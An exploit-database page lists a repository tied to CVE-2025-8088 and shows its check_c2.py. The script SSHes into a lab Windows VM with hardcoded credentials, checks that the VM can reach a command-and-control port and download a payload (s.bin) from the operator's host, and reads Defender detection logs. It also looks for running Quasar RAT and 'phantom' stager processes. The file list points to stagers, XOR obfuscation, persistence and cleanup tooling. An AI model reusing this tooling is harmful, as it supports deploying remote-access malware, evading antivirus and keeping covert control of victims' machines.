Exploit databaseDownload repository ZIP
GH-9d8bf7b89f407a0fff790750df76b5d3
lewis-ricardo/amaranth-project
Sources for CVE-2025-8088
19 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files46
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd
- ↑..Parent directory
- Plan.md
- check_c2.py
- check_compile.py
- check_connectivity.py
- check_direct.py
- check_direct2.py
- check_env.py
- check_events.py
- check_original.py
- check_persist.py
- check_persist2.py
- check_persistence.py
- check_vm.py
- compare_c2.py
- compile_vm.py
- compile_vm2.py
- console_test.py
- console_test2.py
- debug_console.py
- debug_run.py
- debug_vm.py
- deep_test.py
- del_old.py
- direct_client_test.py
- direct_test.py
- forensic.py
- full_clean.py
- gen_xor.py
- lb_test.py
- lb_test2.py
- lb_test3.py
- minimal_test.cs
- nuclear_clean.py
- srvinit_phantom.exe
- ssh_check.py
- stager_phantom.cs
- test_clean.py
- test_client_clean_now.py
- test_direct_run.py
- test_final.py
- test_iso.py
- test_old_dinvoke.py
- test_phantom.py
- test_powershell.py
- test_revert.py
- test_sta_entry.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
Stage07/check_c2.py
Python · 2,166 bytesimport paramiko, time, socket
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('192.168.30.136', username='lewis', password='lewis123', timeout=10)
# 1. Can VM reach host:4782?
print("=== Reachability test ===")
cmds = [
'ping -n 1 192.168.30.1',
'powershell -NoP -C "(Test-NetConnection 192.168.30.1 -Port 4782).TcpTestSucceeded"',
'curl http://192.168.30.1:8080/s.bin -o nul -s -w "HTTP: %%{http_code}"',
'netstat -an | findstr 4782',
]
for cmd in cmds:
i,o,e = ssh.exec_command(cmd, timeout=10)
out = o.read().decode(errors='replace').strip()
err = e.read().decode(errors='replace').strip()
try:
print(f" {cmd[:60]}: {out[:200]}")
except UnicodeEncodeError:
print(f" {cmd[:60]}: {out.encode('ascii', errors='replace').decode('ascii')[:200]}")
# 2. Defender logs (Malware detections)
print("\n=== DEFENDER DETECTIONS ===")
i,o,e = ssh.exec_command(
'wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /c:30 /rd:true /f:text 2>nul',
timeout=15)
logs = o.read().decode(errors='replace')
for line in logs.splitlines():
if any(kw in line.lower() for kw in ['threat', 'detect', 'file:', 'action:', 'id=', 'name:']):
try:
print(f" {line.strip()[:300]}")
except:
pass
# 3. Check if Quasar process is running on VM
print("\n=== QUASAR PROCESS ON VM ===")
i,o,e = ssh.exec_command('tasklist /fi "PID ge 0" /fo csv 2>nul | findstr /i "quasar client"', timeout=5)
for l in o.read().decode(errors='replace').splitlines():
if l.strip(): print(f" {l.strip()}")
# 4. Check all phantom processes
print("\n=== PHANTOM PROCESSES ===")
i,o,e = ssh.exec_command('tasklist /fi "PID ge 0" /fo csv 2>nul | findstr /i "phantom srvinit"', timeout=5)
for l in o.read().decode(errors='replace').splitlines():
if l.strip(): print(f" {l.strip()}")
# 5. Check all services with port 4782
print("\n=== ALL CONNECTIONS ===")
i,o,e = ssh.exec_command('netstat -an | findstr "4782 8080"', timeout=5)
for l in o.read().decode(errors='replace').splitlines():
if l.strip(): print(f" {l.strip()[:200]}")
ssh.close()